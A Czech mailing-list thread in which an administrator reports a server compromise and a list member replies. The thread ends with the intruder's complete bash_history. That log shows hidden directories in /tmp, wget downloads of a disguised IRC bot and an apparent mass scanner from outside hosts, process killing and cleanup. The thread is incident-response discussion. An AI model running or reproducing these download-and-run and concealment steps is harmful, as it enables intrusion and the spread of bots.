hack, bordel v /tmp

[David Tok]

On Sun, 31 Mar 2002, Jirka Kosina wrote:

:> apache-1.3.23 + php-4.1.2
:> openssh-3.1
:> wu-ftpd-2.6.2
:> bind-9.2.0
:> sendmail-8.12.2
:> imap - z RH-7.2
:> ... vsechno je kompilovane rucne, s novymi zlib, updaty byly updatle :-), 
:> pri stahovani zdrojaku md5ky souhlasily. 
:
:A jste si jisty, ze to nekdo skutecne hacknul? Nepovedlo se spis nekomu 
:jenom chytit heslo nejakeho Vaseho uzivatele, pres ktere se pak prihlasil, 
:a zkousel se lamat nekam jinam?

pravdepodobne jo...

:AFAIK na to co pisete nejsou zadne eploity, ktere by byly tak nejak 
:vsobecne zname, ale jinak se zda, ze to byl nejaky kiddie (automaticke 
:skripty na hackovani dalsich stroju), takze bych neocekaval ze byste mel 
:co do cineni s nejakym tvorivym hackerem, ktery by sam nasel nejakou diru. 

... hmmm, ale ten dotycky se tam nalogoval a zkousel, toto jeho 
bash_history:

... nezkraceny - dam ho na konec mailu...

:Zkuste poradne projit system a podivat se po root-backdoorech, ale rekl 
:bych, ze mozna ani nic nenajdete, a jedine, co Vam tam ten haxker spachal 
:je stazeni exploitu do /tmp a zkouseni o hack dalsich stroju.

.. zatim to tak vypada a md5sum me to vsude potvrzuje :-) Opravdu jenom 
ten /tmp...

diky, 

-- 
        david tok, uid: 0, C14H9Cl5 na coolnet.cz


slibovany bash_history:

pwd
ls
exit
export PATH="."
./install
cd mech
ls
export pATH="."
cd /tmp
mkdir " '
cd " "
mkdir " '
mkdir " "
cd " '
cd " "
wget
wget geocities.com/sistem_3/mech.tgz
tar -xzvf mech.tgz
cd mech
mv mech bash
bash
ls
./bash
./install
./bash
./bash
ps x
kill -9 20834
kill -9 20849
kill -9 20846
ps x
cd ..
rm -rf mech
tar -xzvf mech.tgz
cd mech
mv mech bash
bash
./install
./bash
ps x
kill -9 20925
cd ..
cd ..
rm -rf " '
rm -rf " "
ps x
cd /tmp
cd " '
cd " "
export PATH="."
bash
mkdir " "
cd /tmp
mkdir " "
cd " "
wget
wget geocities.com/sistem_3/mech.tgz
tar -xzvf mech.tgz
cd mech
mv mech bash
bash
ls
./install
./bash
./bash
./bash
ps x
kill -9 25953
kill -9 26004
kill -9 26008
cd ..
cd ..
rm -rf " "
ps x
mkdir " "
cd " "
cd /tmp
mkdir " '
mkdir " "
cd " "
wget
wget geocities.com/sistem_3/mech.tgz
tar -xzvf mech.tgz
cd mech
mv mech bash
export PATH="."
bash
bash
bash
bash
cd /tmp
ps x
kill -9 27746
kill -9 27849
kill -9 27854
kill -9 27857
ps x
rm -rf " "
cat /etc/*release
ftp
clear
ftp
clear
cat /etc/*release
ftp
mkdir " '
mkdir " "
cd tmp
cd /tmp
cd " '
cd " "
mkdir " "
cd " "
wget
wget ciagov.net/mass.tgz
tar -xzvf mass.tgz
rm -rf mass.tgz
cd mass
./test 213 133
ls
cd /tmp/
ls
ls -l
cd ' '
ls
ls -l
cd ..
cd ' '
rm mass/
cd mass/
ls
rm *
ls
cd ..
rmdir mass
ls
cd ..
rmdir ' '
ls
--------------- tady jsem ho killnul